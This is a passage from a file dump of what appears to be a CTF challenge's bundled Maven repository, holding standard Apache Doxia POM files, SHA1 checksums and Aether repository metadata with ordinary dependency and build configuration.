    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.apache.maven.doxia</groupId>\n    <artifactId>doxia</artifactId>\n    <version>1.4</version>\n    <relativePath>../pom.xml</relativePath>\n  </parent>\n\n  <artifactId>doxia-core</artifactId>\n  <name>Doxia :: Core</name>\n  <description>Doxia core classes and interfaces.</description>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.apache.maven.doxia</groupId>\n      <artifactId>doxia-sink-api</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven.doxia</groupId>\n      <artifactId>doxia-logging-api</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-utils</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-container-default</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-component-annotations</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>xerces</groupId>\n      <artifactId>xercesImpl</artifactId>\n      <version>2.9.1</version>\n    </dependency>\n    <dependency>\n      <groupId>commons-lang</groupId>\n      <artifactId>commons-lang</artifactId>\n      <version>2.4</version>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.httpcomponents</groupId>\n      <artifactId>httpclient</artifactId>\n      <version>4.0.2</version>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.httpcomponents</groupId>\n      <artifactId>httpcore</artifactId>\n      <version>4.0.1</version>\n    </dependency>\n\n    <!-- test -->\n  </dependencies>\n\n  <build>\n    <resources>\n      <resource>\n        <directory>${basedir}/src/main/resources/</directory>\n        <filtering>true</filtering>\n      </resource>\n    </resources>\n\n    <plugins>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-jar-plugin</artifactId>\n        <executions>\n          <execution>\n            <goals>\n              <goal>test-jar</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n      <plugin>\n        <groupId>org.codehaus.modello</groupId>\n        <artifactId>modello-maven-plugin</artifactId>\n        <executions>\n          <execution>\n            <id>descriptor</id>\n            <phase>generate-sources</phase>\n            <goals>\n              <goal>java</goal>\n              <goal>xpp3-reader</goal>\n              <goal>xpp3-writer</goal>\n              <goal>xsd</goal>\n            </goals>\n          </execution>\n          <execution>\n            <id>docs</id>\n            <phase>pre-site</phase>\n            <goals>\n              <goal>xdoc</goal>\n              <goal>xsd</goal>\n            </goals>\n          </execution>\n        </executions>\n        <configuration>\n          <version>1.0.1</version>\n          <models>\n            <model>src/main/mdo/document.mdo</model>\n          </models>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-core/1.4/doxia-core-1.4.pom.sha1",
    "content": "c63b7012f6fc2f9636ed7e37c4e6cf3b59ad4021"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-decoration-model/1.3/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:02:09 CST 2018\ndoxia-decoration-model-1.3.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-decoration-model/1.3/doxia-decoration-model-1.3.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <artifactId>doxia-sitetools</artifactId>\n    <groupId>org.apache.maven.doxia</groupId>\n    <version>1.3</version>\n    <relativePath>../pom.xml</relativePath>\n  </parent>\n\n  <artifactId>doxia-decoration-model</artifactId>\n\n  <name>Decoration Model</name>\n  <description>The Decoration Model handles the decoration descriptor for sites, also known as site.xml.</description>\n  <url>http://maven.apache.org/doxia/doxia-sitetools/doxia-decoration-model/</url>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-utils</artifactId>\n    </dependency>\n  </dependencies>\n\n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.codehaus.modello</groupId>\n        <artifactId>modello-maven-plugin</artifactId>\n        <configuration>\n          <models>\n            <model>src/main/mdo/decoration.mdo</model>\n          </models>\n          <version>1.3.0</version>\n          <firstVersion>1.0.0</firstVersion>\n        </configuration>\n        <executions>\n          <execution>\n            <id>descriptor</id>\n            <phase>generate-sources</phase>\n            <goals>\n              <goal>xpp3-writer</goal>\n              <goal>java</goal>\n              <goal>xpp3-reader</goal>\n              <goal>xsd</goal>\n            </goals>\n          </execution>\n          <execution>\n            <id>descriptor-site</id>\n            <phase>pre-site</phase>\n            <goals>\n              <goal>xdoc</goal>\n              <goal>xsd</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n      <plugin>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-maven-plugin</artifactId>\n        <executions>\n          <execution>\n            <goals>\n              <goal>descriptor</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n    </plugins>\n  </build>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-decoration-model/1.3/doxia-decoration-model-1.3.pom.sha1",
    "content": "b5a1b9d49410326e37020dfa716ceb7901c40469"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-decoration-model/1.4/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:05:07 CST 2018\ndoxia-decoration-model-1.4.pom>central=\ndoxia-decoration-model-1.4.jar>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-decoration-model/1.4/doxia-decoration-model-1.4.jar.sha1",
    "content": "ffa7fabafef8ba0accc794d025f9790320220e1e"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-decoration-model/1.4/doxia-decoration-model-1.4.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <artifactId>doxia-sitetools</artifactId>\n    <groupId>org.apache.maven.doxia</groupId>\n    <version>1.4</version>\n    <relativePath>../pom.xml</relativePath>\n  </parent>\n\n  <artifactId>doxia-decoration-model</artifactId>\n\n  <name>Doxia :: Decoration Model</name>\n  <description>The Decoration Model handles the decoration descriptor for sites, also known as site.xml.</description>\n  <url>http://maven.apache.org/doxia/doxia-sitetools/doxia-decoration-model/</url>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-utils</artifactId>\n    </dependency>\n  </dependencies>\n\n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.codehaus.modello</groupId>\n        <artifactId>modello-maven-plugin</artifactId>\n        <configuration>\n          <models>\n            <model>src/main/mdo/decoration.mdo</model>\n          </models>\n          <version>1.4.0</version>\n          <firstVersion>1.0.0</firstVersion>\n        </configuration>\n        <executions>\n          <execution>\n            <id>descriptor</id>\n            <phase>generate-sources</phase>\n            <goals>\n              <goal>xpp3-writer</goal>\n              <goal>java</goal>\n              <goal>xpp3-reader</goal>\n              <goal>xsd</goal>\n            </goals>\n          </execution>\n          <execution>\n            <id>descriptor-site</id>\n            <phase>pre-site</phase>\n            <goals>\n              <goal>xdoc</goal>\n              <goal>xsd</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n    </plugins>\n  </build>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-decoration-model/1.4/doxia-decoration-model-1.4.pom.sha1",
    "content": "deaf255b7f237392dde3f76100300a41c8409532"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-integration-tools/1.5/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:05:08 CST 2018\ndoxia-integration-tools-1.5.jar>central=\ndoxia-integration-tools-1.5.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-integration-tools/1.5/doxia-integration-tools-1.5.jar.sha1",
    "content": "ee43d4ccb9e5cc4067ac4f4de9b50e89de2f1191"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-integration-tools/1.5/doxia-integration-tools-1.5.pom",
    "content": "<?xml version='1.0' encoding='UTF-8'?>\n\n<!--\n  Licensed to the Apache Software Foundation (ASF) under one\n  or more contributor license agreements.  See the NOTICE file\n  distributed with this work for additional information\n  regarding copyright ownership.  The ASF licenses this file\n  to you under the Apache License, Version 2.0 (the\n  \"License\"); you may not use this file except in compliance\n  with the License.  You may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\n  Unless required by applicable law or agreed to in writing,\n  software distributed under the License is distributed on an\n  \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n  KIND, either express or implied.  See the License for the\n  specific language governing permissions and limitations\n  under the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.apache.maven.doxia</groupId>\n    <artifactId>doxia-tools</artifactId>\n    <version>2</version>\n    <relativePath>../doxia-tools/pom.xml</relativePath>\n  </parent>\n\n  <artifactId>doxia-integration-tools</artifactId>\n  <version>1.5</version>\n\n  <name>Doxia Integration Tools</name>\n  <description>A collection of tools to help the integration of Doxia in Maven plugins.</description>\n\n  <prerequisites>\n    <maven>2.2.1</maven>\n  </prerequisites>\n\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/maven/doxia/doxia-tools/tags/doxia-integration-tools-1.5</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/maven/doxia/doxia-tools/tags/doxia-integration-tools-1.5</developerConnection>\n    <url>http://svn.apache.org/viewvc/maven/doxia/doxia-tools/tags/doxia-integration-tools-1.5</url>\n  </scm>\n  <issueManagement>\n    <system>jira</system>\n    <url>http://jira.codehaus.org/browse/DOXIATOOLS/component/15480</url>\n  </issueManagement>\n\n  <properties>\n    <doxiaVersion>1.3</doxiaVersion>\n    <doxiaSitetoolsVersion>1.3</doxiaSitetoolsVersion>\n    <mavenVersion>2.2.1</mavenVersion>\n  </properties>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.apache.maven.reporting</groupId>\n      <artifactId>maven-reporting-api</artifactId>\n      <version>3.0</version>\n    </dependency>\n\n    <dependency>\n      <groupId>commons-io</groupId>\n      <artifactId>commons-io</artifactId>\n      <version>1.4</version>\n    </dependency>\n\n    <!-- maven -->\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-artifact</artifactId>\n      <version>${mavenVersion}</version>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-artifact-manager</artifactId>\n      <version>${mavenVersion}</version>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-model</artifactId>\n      <version>${mavenVersion}</version>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-project</artifactId>\n      <version>${mavenVersion}</version>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-plugin-api</artifactId>\n      <version>${mavenVersion}</version>\n    </dependency>\n\n    <!-- doxia -->\n    <dependency>\n      <groupId>org.apache.maven.doxia</groupId>\n      <artifactId>doxia-logging-api</artifactId>\n      <version>${doxiaVersion}</version>\n    </dependency>\n\n    <!-- doxia-sitetools -->\n    <dependency>\n      <groupId>org.apache.maven.doxia</groupId>\n      <artifactId>doxia-decoration-model</artifactId>\n      <version>${doxiaSitetoolsVersion}</version>\n    </dependency>\n\n    <!-- Plexus -->\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-container-default</artifactId>\n      <version>1.0-alpha-9</version>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-i18n</artifactId>\n      <version>1.0-beta-7</version>\n      <exclusions>\n        <exclusion>\n          <groupId>org.codehaus.plexus</groupId>\n          <artifactId>plexus-component-api</artifactId>\n        </exclusion>\n      </exclusions>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-utils</artifactId>\n      <version>2.0.5</version>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-component-annotations</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-interpolation</artifactId>\n      <version>1.14</version>\n    </dependency>\n\n    <!-- test -->\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.8.2</version>\n      <scope>test</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven.shared</groupId>\n      <artifactId>maven-plugin-testing-harness</artifactId>\n      <version>1.0</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n\n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-component-metadata</artifactId>\n        <executions>\n          <execution>\n            <id>create-component-descriptor</id>\n            <goals>\n              <goal>generate-metadata</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n    </plugins>\n  </build>\n\n  <reporting>\n    <plugins>\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>l10n-maven-plugin</artifactId>\n        <version>1.0-alpha-2</version>\n        <configuration>\n          <locales>\n            <locale>ca</locale>\n            <locale>cs</locale>\n            <locale>da</locale>\n            <locale>de</locale>\n            <locale>es</locale>\n            <locale>fr</locale>\n            <locale>gl</locale>\n            <locale>hu</locale>\n            <locale>it</locale>\n            <locale>ja</locale>\n            <locale>ko</locale>\n            <locale>lt</locale>\n            <locale>nl</locale>\n            <locale>no</locale>\n            <locale>pl</locale>\n            <locale>pt</locale>\n            <locale>pt_BR</locale>\n            <locale>ru</locale>\n            <locale>sk</locale>\n            <locale>sv</locale>\n            <locale>tr</locale>\n            <locale>zh_CN</locale>\n            <locale>zh_TW</locale>\n          </locales>\n        </configuration>\n      </plugin>\n    </plugins>\n  </reporting>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-integration-tools/1.5/doxia-integration-tools-1.5.pom.sha1",
    "content": "b2384c4865857d55209a95ac4a21f2d358984f57"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-logging-api/1.1/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:48 CST 2018\ndoxia-logging-api-1.1.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-logging-api/1.1/doxia-logging-api-1.1.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <artifactId>doxia</artifactId>\n    <groupId>org.apache.maven.doxia</groupId>\n    <version>1.1</version>\n    <relativePath>../pom.xml</relativePath>\n  </parent>\n\n  <artifactId>doxia-logging-api</artifactId>\n  <name>Doxia :: Logging API</name>\n  <description>Doxia Logging API.</description>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-container-default</artifactId>\n    </dependency>\n  </dependencies>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-logging-api/1.1/doxia-logging-api-1.1.pom.sha1",
    "content": "511c87192bc6c0883d077ba7ae7ddbe8a2d06fa9"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-logging-api/1.3/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:02:06 CST 2018\ndoxia-logging-api-1.3.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-logging-api/1.3/doxia-logging-api-1.3.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <artifactId>doxia</artifactId>\n    <groupId>org.apache.maven.doxia</groupId>\n    <version>1.3</version>\n    <relativePath>../pom.xml</relativePath>\n  </parent>\n\n  <artifactId>doxia-logging-api</artifactId>\n  <name>Doxia :: Logging API</name>\n  <description>Doxia Logging API.</description>\n  <url>http://maven.apache.org/doxia/doxia/doxia-logging-api/</url>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-container-default</artifactId>\n    </dependency>\n  </dependencies>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-logging-api/1.3/doxia-logging-api-1.3.pom.sha1",
    "content": "7e790be737ddf90d7dc519899c735c34ed80ee4f"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-logging-api/1.4/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:05:07 CST 2018\ndoxia-logging-api-1.4.jar>central=\ndoxia-logging-api-1.4.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-logging-api/1.4/doxia-logging-api-1.4.jar.sha1",
    "content": "fd0ab30404ac0fca5f672eee70acf5d17a1ea856"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-logging-api/1.4/doxia-logging-api-1.4.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <artifactId>doxia</artifactId>\n    <groupId>org.apache.maven.doxia</groupId>\n    <version>1.4</version>\n    <relativePath>../pom.xml</relativePath>\n  </parent>\n\n  <artifactId>doxia-logging-api</artifactId>\n  <name>Doxia :: Logging API</name>\n  <description>Doxia Logging API.</description>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-container-default</artifactId>\n    </dependency>\n  </dependencies>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-logging-api/1.4/doxia-logging-api-1.4.pom.sha1",
    "content": "042598efe5bf93859b9366c333c2398af28a2bb5"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-module-apt/1.4/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:05:07 CST 2018\ndoxia-module-apt-1.4.jar>central=\ndoxia-module-apt-1.4.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-module-apt/1.4/doxia-module-apt-1.4.jar.sha1",
    "content": "2b6fc70f6906e74eee049cc30f8385e49381c16f"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-module-apt/1.4/doxia-module-apt-1.4.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <artifactId>doxia-modules</artifactId>\n    <groupId>org.apache.maven.doxia</groupId>\n    <version>1.4</version>\n    <relativePath>../pom.xml</relativePath>\n  </parent>\n\n  <artifactId>doxia-module-apt</artifactId>\n\n  <name>Doxia :: APT Module</name>\n  <description>\n    A Doxia module for Almost Plain Text source documents.\n    APT format is supported both as source and target formats.\n  </description>\n\n<!-- START SNIPPET: test -->\n    <!-- test snippet -->\n<!-- END SNIPPET: test -->\n\n  <dependencies>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-utils</artifactId>\n    </dependency>\n  </dependencies>\n</project>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-module-apt/1.4/doxia-module-apt-1.4.pom.sha1",
    "content": "ea9c06223beac7056ead3a5f59089a722cefc3c1"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-module-fml/1.4/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:05:07 CST 2018\ndoxia-module-fml-1.4.jar>central=\ndoxia-module-fml-1.4.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-module-fml/1.4/doxia-module-fml-1.4.jar.sha1",
    "content": "d27851cfa0a355070acdc0482de3e94c0140b5db"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-module-fml/1.4/doxia-module-fml-1.4.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <artifactId>doxia-modules</artifactId>\n    <groupId>org.apache.maven.doxia</groupId>\n    <version>1.4</version>\n    <relativePath>../pom.xml</relativePath>\n  </parent>\n\n  <artifactId>doxia-module-fml</artifactId>\n\n  <name>Doxia :: FML Module</name>\n  <description>\n    A Doxia module for FML source documents.\n    FML format is only supported as source format.\n  </description>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-utils</artifactId>\n    </dependency>\n\n    <!-- test -->\n    <dependency>\n      <groupId>org.apache.maven.doxia</groupId>\n      <artifactId>doxia-test-docs</artifactId>\n      <scope>test</scope>\n    </dependency>\n    <dependency>\n      <groupId>xerces</groupId>\n      <artifactId>xercesImpl</artifactId>\n      <version>2.9.1</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n\n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.codehaus.modello</groupId>\n        <artifactId>modello-maven-plugin</artifactId>\n        <executions>\n          <execution>\n            <id>descriptor</id>\n            <phase>generate-sources</phase>\n            <goals>\n              <goal>java</goal>\n            </goals>\n            <configuration>\n              <models>\n                <model>src/main/mdo/fml.mdo</model>\n              </models>\n              <version>1.0.0</version>\n            